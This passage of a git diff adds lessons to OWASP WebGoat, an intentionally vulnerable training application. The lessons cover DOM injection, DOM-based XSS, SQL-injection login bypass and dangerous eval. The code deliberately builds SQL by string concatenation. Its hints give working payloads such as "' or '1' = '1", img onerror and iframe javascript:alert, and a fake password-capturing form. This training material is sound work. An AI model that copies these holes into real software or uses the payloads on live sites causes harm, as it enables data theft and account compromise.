EMPLOYEE_LOGIN_BACKUP(?,?) }"; + statement = WebSession.getConnection(s) + .prepareCall(call2, ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + statement.registerOutParameter(1, Types.INTEGER); + statement.setInt(2, Integer.parseInt(userId)); + statement.setString(3, password); + statement.execute(); + + rows = statement.getInt(1); + if (rows > 0) + setStageComplete(s, DBSQLInjection.STAGE2); + } + catch (SQLException sqle2){} + } + } + } + catch (SQLException sqle) + { + s.setMessage("Error logging in: " + sqle.getLocalizedMessage()); + sqle.printStackTrace(); + } + } + catch (Exception e) + { + s.setMessage("Error logging in: " + e.getLocalizedMessage()); + e.printStackTrace(); + } + + //System.out.println("Lesson login result: " + authenticated); + return authenticated; + } + + public List getAllEmployees(WebSession s) + { + List employees = new Vector(); + + // Query the database for all roles the given employee belongs to + // Query the database for all employees "owned" by these roles + + try + { + String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles " + + "where employee.userid=roles.userid"; + + try + { + Statement answer_statement = WebSession.getConnection(s) + .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + ResultSet answer_results = answer_statement.executeQuery(query); + answer_results.beforeFirst(); + while (answer_results.next()) + { + int employeeId = answer_results.getInt("userid"); + String firstName = answer_results.getString("first_name"); + String lastName = answer_results.getString("last_name"); + String role = answer_results.getString("role"); + EmployeeStub stub = new EmployeeStub(employeeId, firstName, + lastName, role); + employees.add(stub); + } + } + catch (SQLException sqle) + { + s.setMessage("Error getting employees"); + sqle.printStackTrace(); + } + } + catch (Exception e) + { + s.setMessage("Error getting employees"); + e.printStackTrace(); + } + + return employees; + } + +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DOMInjection.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DOMInjection.java new file mode 100644 index 000000000..45faa4561 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DOMInjection.java @@ -0,0 +1,190 @@ +package org.owasp.webgoat.lessons; + +import java.io.PrintWriter; +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.BR; +import org.apache.ecs.html.H1; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; +import org.owasp.webgoat.session.WebSession; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Sherif Koussa Macadamian Technologies. + * @created October 28, 2006 + */ + +public class DOMInjection extends LessonAdapter +{ + + private final static Integer DEFAULT_RANKING = new Integer(10); + + private final static String KEY = "key"; + + private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( + "Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); + + protected Element createContent(WebSession s) + { + + String key = "K1JFWP8BSO8HI52LNPQS8F5L01N"; + ElementContainer ec = new ElementContainer(); + + try + { + String userKey = s.getParser().getRawParameter(KEY, ""); + String fromAJAX = s.getParser().getRawParameter("from", ""); + if (fromAJAX.equalsIgnoreCase("ajax") && userKey.length() != 0 + && userKey.equals(key)) + { + s.getResponse().setContentType("text/html"); + s.getResponse().setHeader("Cache-Control", "no-cache"); + PrintWriter out = new PrintWriter(s.getResponse() + .getOutputStream()); + out.print("document.forms[0].SUBMIT.disabled = false;"); + out.flush(); + out.close(); + return ec; + } + if (s.getRequest().getMethod().equalsIgnoreCase("POST")) + { + makeSuccess(s); + } + } + catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + + String lineSep = System.getProperty("line.separator"); + String script = "" + lineSep; + + ec.addElement(new StringElement(script)); + ec.addElement(new BR().addElement(new H1() + .addElement("Welcome to WebGoat Registration Page:"))); + ec + .addElement(new BR() + .addElement("Please enter the license key that was emailed to you to start using the application.")); + ec.addElement(new BR()); + ec.addElement(new BR()); + Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0) + .setWidth("70%").setAlign("center"); + + TR tr = new TR(); + tr.addElement(new TD(new StringElement("License Key: "))); + + Input input1 = new Input(Input.TEXT, KEY, ""); + input1.addAttribute("onkeyup", "validate();"); + tr.addElement(new TD(input1)); + t1.addElement(tr); + + tr = new TR(); + tr.addElement(new TD(" ").setColSpan(2)); + + t1.addElement(tr); + + tr = new TR(); + Input b = new Input(); + b.setType(Input.SUBMIT); + b.setValue("Activate!"); + b.setName("SUBMIT"); + b.setDisabled(true); + tr.addElement(new TD(" ")); + tr.addElement(new TD(b)); + + t1.addElement(tr); + ec.addElement(t1); + + return ec; + } + + + public Element getCredits() + { + return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); + } + + + protected Category getDefaultCategory() + { + + return Category.AJAX_SECURITY; + } + + + protected Integer getDefaultRanking() + { + + return DEFAULT_RANKING; + } + + + protected List getHints(WebSession s) + { + + List hints = new ArrayList(); + hints.add("This page is using XMLHTTP to comunicate with the server."); + hints.add("Try to find a way to inject the DOM to enable the Activate button."); + hints.add("Intercept the reply and replace the body with document.forms[0].SUBMIT.disabled = false;"); + return hints; + } + + + public String getTitle() + { + return "DOM Injection"; + } + +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DOMXSS.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DOMXSS.java new file mode 100644 index 000000000..ee9526357 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DOMXSS.java @@ -0,0 +1,266 @@ +package org.owasp.webgoat.lessons; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileReader; +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.A; +import org.apache.ecs.html.BR; +import org.apache.ecs.html.H1; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.Script; +import org.owasp.webgoat.session.*; + +public class DOMXSS extends SequentialLessonAdapter { + + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); + + + private final static String PERSON = "person"; + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) { + return super.createStagedContent(s); + } + + protected Element doStage1(WebSession s) throws Exception { + ElementContainer ec = new ElementContainer(); + + StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); + + ec.addElement(mainContent(s)); + + if (attackString.toString().toLowerCase().indexOf("img") != -1&& attackString.toString().toLowerCase().indexOf("images/logos/owasp.jpg") != -1) { + getLessonTracker(s).setStage(2); + s.setMessage("Stage 1 completed. "); + } + + return (ec); + } + + protected Element doStage2(WebSession s) throws Exception { + ElementContainer ec = new ElementContainer(); + + StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); + + ec.addElement(mainContent(s)); + + if (attackString.toString().toLowerCase().indexOf("img") != -1 && attackString.toString().toLowerCase().indexOf("onerror") != -1 && attackString.toString().toLowerCase().indexOf("alert") != -1) { + getLessonTracker(s).setStage(3); + s.setMessage("Stage 2 completed. "); + } + + return (ec); + } + + protected Element doStage3(WebSession s) throws Exception { + ElementContainer ec = new ElementContainer(); + + StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); + + ec.addElement(mainContent(s)); + + if (attackString.toString().toLowerCase().indexOf("iframe") != -1 && attackString.toString().toLowerCase().indexOf("javascript:alert") != -1) { + getLessonTracker(s).setStage(4); + s.setMessage("Stage 3 completed."); + } + return (ec); + } + + protected Element doStage4(WebSession s) throws Exception { + ElementContainer ec = new ElementContainer(); + + StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); + + ec.addElement(mainContent(s)); + + if (attackString.toString().toLowerCase().indexOf("please enter your password:") != -1&& attackString.toString().toLowerCase().indexOf("javascript:alert") != -1) { + getLessonTracker(s).setStage(5); + s.setMessage("Stage 4 completed."); + } + + return (ec); + } + + protected Element doStage5(WebSession s) throws Exception { + ElementContainer ec = new ElementContainer(); + + ec.addElement(mainContent(s)); + + /** + * They pass iff: + * + * 1. If the DOMXSS.js file contains the lines "escapeHTML(name)" + */ + String file = s.getWebResource("javascript/DOMXSS.js"); + String content = getFileContent(file); + + if(content.indexOf("escapeHTML(name)") != -1) + { + makeSuccess(s); + } + + return ec; + } + + protected ElementContainer mainContent(WebSession s) { + StringBuffer attackString = null; + + ElementContainer ec = new ElementContainer(); + try { + + ec.addElement(new Script().setSrc("javascript/DOMXSS.js")); + + ec.addElement(new Script().setSrc("javascript/escape.js")); + + ec.addElement(new H1().setID("greeting")); + + ec.addElement(new StringElement("Enter your name: ")); + + attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); + + Input input = new Input(Input.TEXT, PERSON, attackString.toString()); + input.setOnKeyUp("displayGreeting(" + PERSON + ".value)"); + ec.addElement(input); + ec.addElement(new BR()); + ec.addElement(new BR()); + + Element b = ECSFactory.makeButton("Submit Solution"); + ec.addElement(b); + } catch (Exception e) { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + return ec; + + } + + /** + * Gets the hints attribute of the HelloScreen object + * + * @return The hints value + */ + public List getHints(WebSession s) { + List hints = new ArrayList(); + + hints.add("Try entering the following: " + "<IMG SRC=\"images/logos/owasp.jpg\"/>"); + + hints.add("Try entering the following: " + "<img src=x onerror=;;alert('XSS') />"); + + hints.add("Try entering the following: " + "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>"); + + hints.add("Try entering the following: " + "Please enter your password:<BR><input type = \"password\" name=\"pass\"/><button " + + "onClick=\"javascript:alert('I have your password: ' + pass.value);\">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>"); + + + + //Attack Strings: + + // + + // + + // + + //Please enter your password:
















+ + + return hints; + } + + /** + * Gets the ranking attribute of the HelloScreen object + * + * @return The ranking value + */ + private final static Integer DEFAULT_RANKING = new Integer(10); + + protected Integer getDefaultRanking() { + return DEFAULT_RANKING; + } + + protected Category getDefaultCategory() { + return Category.AJAX_SECURITY; + } + + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + public String getTitle() { + return ("LAB: DOM-Based cross-site scripting"); + } + + public String getInstructions(WebSession s) { + String instructions = ""; + + if (getLessonTracker(s).getStage() == 1) { + instructions = "STAGE 1:\tFor this exercise, your mission is to deface this website using the image at the following location: OWASP IMAGE"; + } else if (getLessonTracker(s).getStage() == 2) { + instructions = "STAGE 2:\tNow, try to create a JavaScript alert using the image tag"; + } else if (getLessonTracker(s).getStage() == 3) { + instructions = "STAGE 3:\tNext, try to create a JavaScript alert using the IFRAME tag."; + } else if (getLessonTracker(s).getStage() == 4) { + instructions = "STAGE 4:\tUse the following to create a fake login form:

" + "Please enter your password:<BR><input type = \"password\" name=\"pass\"/><button " + + "onClick=\"javascript:alert('I have your password: ' + pass.value);\">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>"; + } else if(getLessonTracker(s).getStage() == 5) { + instructions = "STAGE 5:\tPerform client-side HTML entity encoding to mitigate the DOM XSS vulnerability. A utility method is provided for you in WebContent/javascript/escape.js."; + } + return (instructions); + } + + private String getFileContent(String content) + { + BufferedReader is = null; + StringBuffer sb = new StringBuffer(); + + try + { + is = new BufferedReader(new FileReader(new File(content))); + String s = null; + + while((s = is.readLine()) != null) + { + sb.append(s); + } + } + catch (Exception e) + { + e.printStackTrace(); + } + finally + { + if(is != null) + { + try + { + is.close(); + } + catch (IOException ioe) + { + + } + } + } + + return sb.toString(); + } + + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DOS_Login.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DOS_Login.java new file mode 100644 index 000000000..678b6ab1f --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DOS_Login.java @@ -0,0 +1,264 @@ +package org.owasp.webgoat.lessons; + +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.ResultSetMetaData; +import java.sql.SQLException; +import java.sql.Statement; +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.H1; +import org.apache.ecs.html.H2; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.P; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; + +import org.owasp.webgoat.session.DatabaseUtilities; +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.WebSession; +import org.owasp.webgoat.session.ParameterNotFoundException; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Bruce Mayhew WebGoat + * @created October 28, 2003 + */ +public class DOS_Login extends LessonAdapter +{ + + /** + * Description of the Field + */ + protected final static String PASSWORD = "Password"; + + /** + * Description of the Field + */ + protected final static String USERNAME = "Username"; + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + try + { + String username = ""; + String password = ""; + username = s.getParser().getRawParameter(USERNAME); + password = s.getParser().getRawParameter(PASSWORD); + + // don;t allow user name from other lessons. it would be too simple. + if (username.equals("jeff") || username.equals("dave")) + { + ec.addElement(new H2("Login Failed: 'jeff' and 'dave' are not valid for this lesson")); + return (ec.addElement(makeLogin(s))); + } + + // Check if the login is valid + Connection connection = DatabaseUtilities.getConnection(s); + + String query = "SELECT * FROM user_system_data WHERE user_name = '" + + username + "' and password = '" + password + "'"; + ec.addElement(new StringElement(query)); + + try + { + Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY); + ResultSet results = statement.executeQuery(query); + + if ((results != null) && (results.first() == true)) + { + ResultSetMetaData resultsMetaData = results.getMetaData(); + ec.addElement(DatabaseUtilities.writeTable(results,resultsMetaData)); + results.last(); + + // If they get back more than one user they succeeded + if (results.getRow() >= 1) + { + // Make sure this isn't data from an sql injected query. + if (results.getString(2).equals(username) && results.getString(3).equals(password)) + { + String insertData1 = "INSERT INTO user_login VALUES ( '" + + username + + "', '" + + s.getUserName() + + "' )"; + statement.executeUpdate(insertData1); + } + // check the total count of logins + query = "SELECT * FROM user_login WHERE webgoat_user = '" + s.getUserName() + "'"; + results = statement.executeQuery(query); + results.last(); + // If they get back more than one user they succeeded + if (results.getRow() >= 3) + { + makeSuccess(s); + String deleteData1 = "DELETE from user_login WHERE webgoat_user = '" + s.getUserName() + "'"; + statement.executeUpdate(deleteData1); + return (new H1("Congratulations! Lesson Completed")); + } + + ec.addElement(new H2("Login Succeeded: Total login count: " + results.getRow())); + } + } + else + { + ec.addElement(new H2("Login Failed")); + // check the total count of logins + query = "SELECT * FROM user_login WHERE webgoat_user = '" + + s.getUserName() + "'"; + results = statement.executeQuery(query); + results.last(); + ec.addElement(new H2("Successfull login count: " + + results.getRow())); + + } + } + catch (SQLException sqle) + { + ec.addElement(new P().addElement(sqle.getMessage())); + sqle.printStackTrace(); + } + } + catch (ParameterNotFoundException pnfe) + { + /** + * Catching this exception prevents the "Error generating org.owasp.webgoat.lesson.DOS_Login" + * message from being displayed on first load. Note that if we are missing a parameter in + * the request, we do not want to continue processing and we simply want to display the + * default login page. + */ + } + catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + } + + return (ec.addElement(makeLogin(s))); + } + + + /** + * Gets the category attribute of the WeakAuthenticationCookie object + * + * @return The category value + */ + protected Category getDefaultCategory() + { + return Category.DOS; + } + + + /** + * Gets the hints attribute of the CookieScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Use a SQL Injection to obtain the user names. "); + hints + .add("Try to generate this query: SELECT * FROM user_system_data WHERE user_name = 'goober' and password = 'dont_care' or '1' = '1'"); + hints + .add("Try "dont_care' or '1' = '1" in the password field"); + return hints; + } + + private final static Integer DEFAULT_RANKING = new Integer(90); + + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + + /** + * Gets the title attribute of the CookieScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Denial of Service from Multiple Logins"); + } + + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + protected Element makeLogin(WebSession s) + { + ElementContainer ec = new ElementContainer(); + + // add the login fields + Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); + + if (s.isColor()) + { + t.setBorder(1); + } + + TR row1 = new TR(); + TR row2 = new TR(); + row1.addElement(new TD(new StringElement("User Name: "))); + row2.addElement(new TD(new StringElement("Password: "))); + + Input input1 = new Input(Input.TEXT, USERNAME, ""); + Input input2 = new Input(Input.PASSWORD, PASSWORD, ""); + row1.addElement(new TD(input1)); + row2.addElement(new TD(input2)); + t.addElement(row1); + t.addElement(row2); + + Element b = ECSFactory.makeButton("Login"); + t.addElement(new TR(new TD(b))); + ec.addElement(t); + + return (ec); + } + +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DangerousEval.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DangerousEval.java new file mode 100644 index 000000000..794171bee --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DangerousEval.java @@ -0,0 +1,280 @@ +package org.owasp.webgoat.lessons; + +import java.util.ArrayList; +import java.util.List; +import java.util.regex.Pattern; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.html.A; +import org.apache.ecs.html.BR; +import org.apache.ecs.html.Center; +import org.apache.ecs.html.H1; +import org.apache.ecs.html.HR; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TH; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; +import org.owasp.webgoat.session.WebSession; +import org.owasp.webgoat.util.HtmlEncoder; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Eric Sheridan, Aspect Security + * @created October 28, 2003 + */ + +public class DangerousEval extends LessonAdapter +{ + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); + + public final static String PASSED = "__DANGEROUS_EVAL_PASS"; + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + String regex1 = "^[0-9]{3}$";// any three digits + Pattern pattern1 = Pattern.compile(regex1); + + try + { + checkSuccess(s); + + String param1 = s.getParser().getRawParameter("field1", "111"); + //String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999")); + float quantity = 1.0f; + float total = 0.0f; + float runningTotal = 0.0f; + + // FIXME: encode output of field2, then s.setMessage( field2 ); + ec.addElement(" + /** + * Gets the instructions attribute of the WeakAccessControl object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + String instructions = "For this exercise, your mission is to come up with some input containing a script. You have to try to get this page to reflect that input back to your browser, which will execute the script. In order to pass this lesson, you must 'alert()' document.cookie."; + return (instructions); + } + + private final static Integer DEFAULT_RANKING = new Integer(120); + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + + /** + * Gets the title attribute of the AccessControlScreen object + * + * @return The title value + */ + public String getTitle() + { + return "Dangerous Use of Eval"; + } + + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } + + /** + * Check to see if JSP says they passed the lesson. + * @param s + */ + private void checkSuccess(WebSession s) + { + javax.servlet.http.HttpSession session = s.getRequest().getSession(); + + if(session.getAttribute(PASSED) != null) + { + makeSuccess(s); + + session.removeAttribute(PASSED); + } + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/Encoding.java b/main/project/JavaSource/org/owasp/webgoat/lessons/Encoding.java new file mode 100644 index 000000000..8b9d98411 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/Encoding.java @@ -0,0 +1,875 @@ +package org.owasp.webgoat.lessons; + +import java.io.IOException; +import java.net.URLDecoder; +import java.net.URLEncoder; +import java.nio.ByteBuffer; +import java.nio.CharBuffer; +import java.nio.charset.Charset; +import java.nio.charset.CharsetDecoder; +import java.nio.charset.CharsetEncoder; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.util.ArrayList; +import java.util.List; + +import javax.crypto.Cipher; +import javax.crypto.SecretKey; +import javax.crypto.SecretKeyFactory; +import javax.crypto.spec.PBEParameterSpec; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.html.A; +import org.apache.ecs.html.B; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.P; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.WebSession; +import org.owasp.webgoat.util.HtmlEncoder; + + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Jeff Williams Aspect Security + * @created October 28, 2003 + */ + +public class Encoding extends LessonAdapter +{ + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); + + private final static String INPUT = "input"; + + private final static String KEY = "key"; + + // local encoders + + private static sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); + + private static sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder(); + + // encryption constant + + private static byte[] salt = + { + (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, + (byte) 0x00 + }; + + + + /** + * Returns the base 64 decoding of a string. + * + * @param str Description of the Parameter + * @return Description of the Return Value + * @exception IOException Description of the Exception + */ + + public static String base64Decode( String str ) throws IOException + { + + byte[] b = decoder.decodeBuffer( str ); + + return ( new String( b ) ); + } + + + + /** + * Description of the Method + * + * @param c Description of the Parameter + * @return Description of the Return Value + * @exception IOException Description of the Exception + */ + + public static String base64Decode( char[] c ) throws IOException + { + + return base64Decode( new String( c ) ); + } + + + + /** + * Description of the Method + * + * @param c Description of the Parameter + * @return Description of the Return Value + */ + + public static String base64Encode( char[] c ) + { + + return base64Encode( new String( c ) ); + } + + + + /** + * Returns the base 64 encoding of a string. + * + * @param str Description of the Parameter + * @return Description of the Return Value + */ + + public static String base64Encode( String str ) + { + + byte[] b = str.getBytes(); + + return ( encoder.encode( b ) ); + } + + + + /** + * Description of the Method + * + * @param b Description of the Parameter + * @return Description of the Return Value + */ + + public static String base64Encode( byte[] b ) + { + + return ( encoder.encode( b ) ); + } + + + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + + protected Element createContent( WebSession s ) + { + + ElementContainer ec = new ElementContainer(); + + try + { + + String userInput = s.getParser().getRawParameter( INPUT, "" ); + + String userKey = s.getParser().getStringParameter( KEY, "" ); + + Table table = new Table(); + + TR tr = new TR(); + + tr.addElement( new TD( "Enter a string: " ) ); + + Input input = new Input( Input.TEXT, INPUT, userInput ); + + tr.addElement( new TD().addElement( input ) ); + + table.addElement( tr ); + + tr = new TR(); + + tr.addElement( new TD( "Enter a password (optional): " ) ); + + Input key = new Input( Input.TEXT, KEY, userKey ); + + tr.addElement( new TD().addElement( key ) ); + + table.addElement( tr ); + + tr = new TR(); + + Element b = ECSFactory.makeButton( "Go!" ); + + tr.addElement( new TD().setAlign( "center" ).setColSpan( 2 ).addElement( b ) ); + + table.addElement( tr ); + + ec.addElement( table ); + + ec.addElement( new P() ); + + Table t = new Table(); + + t.setWidth( "100%" ); + + t.setBorder( 0 ); + + t.setCellSpacing( 1 ); + + t.setCellPadding( 4 ); + + String description; + + t.addElement( makeTitleRow( "Description", "Encoded", "Decoded" ) ); + + description = "Base64 encoding is a simple reversable encoding used to encode bytes into ASCII characters. Useful for making bytes into a printable string, but provides no security."; + +// t.addElement( makeDescriptionRow( description ) ); + t.addElement( makeRow( description, base64Encode( userInput ), base64Decode( userInput ) ) ); +// t.addElement( makeSpacerRow() ); + + description = "Entity encoding uses special sequences like &amp; for special characters. This prevents these characters from being interpreted by most interpreters."; + + t.addElement( makeRow( description, HtmlEncoder.encode( userInput ), HtmlEncoder.decode( userInput ) ) ); + + description = "Password based encryption (PBE) is strong encryption with a text password. Cannot be decrypted without the password"; + + t.addElement( makeRow( description, encryptString( userInput, userKey ), decryptString( userInput, userKey ) ) ); + description = "MD5 hash is a checksum that can be used to validate a string or byte array, but cannot be reversed to find the original string or bytes. For obscure cryptographic reasons, it is better to use SHA-256 if you have a choice."; + + t.addElement( makeRow( description, hashMD5( userInput ), "Cannot reverse a hash" ) ); + + description = "SHA-256 hash is a checksum that can be used to validate a string or byte array, but cannot be reversed to find the original string or bytes."; + + t.addElement( makeRow( description, hashSHA( userInput ), "N/A" ) ); + + description = "Unicode encoding is..."; + + t.addElement( makeRow( description, "Not Implemented", "Not Implemented" ) ); + + description = "URL encoding is..."; + + t.addElement( makeRow( description, urlEncode( userInput ), urlDecode( userInput ) ) ); + + description = "Hex encoding simply encodes bytes into %xx format."; + + t.addElement( makeRow( description, hexEncode( userInput ), hexDecode( userInput ) ) ); + + description = "Rot13 encoding is a way to make text unreadable, but is easily reversed and provides no security."; + + t.addElement( makeRow( description, rot13( userInput ), rot13( userInput ) ) ); + + description = "XOR with password encoding is a weak encryption scheme that mixes a password into data."; + + t.addElement( makeRow( description, xorEncode( userInput, userKey ), xorDecode( userInput, userKey ) ) ); + + description = "Double unicode encoding is..."; + + t.addElement( makeRow( description, "Not Implemented", "Not Implemented" ) ); + + description = "Double URL encoding is..."; + + t.addElement( makeRow( description, urlEncode( urlEncode( userInput ) ), urlDecode( urlDecode( userInput ) ) ) ); + + ec.addElement( t ); + + } + + catch ( Exception e ) + { + + s.setMessage( "Error generating " + this.getClass().getName() ); + + e.printStackTrace(); + + } + + if ( getLessonTracker( s ).getNumVisits() > 3 ) + { + makeSuccess( s ); + } + + return ( ec ); + } + + + + /** + * Convenience method for encrypting a string. + * + * @param str Description of the Parameter + * @param pw Description of the Parameter + * @return String the encrypted string. + */ + + public static synchronized String decryptString( String str, String pw ) + { + + try + { + + PBEParameterSpec ps = new 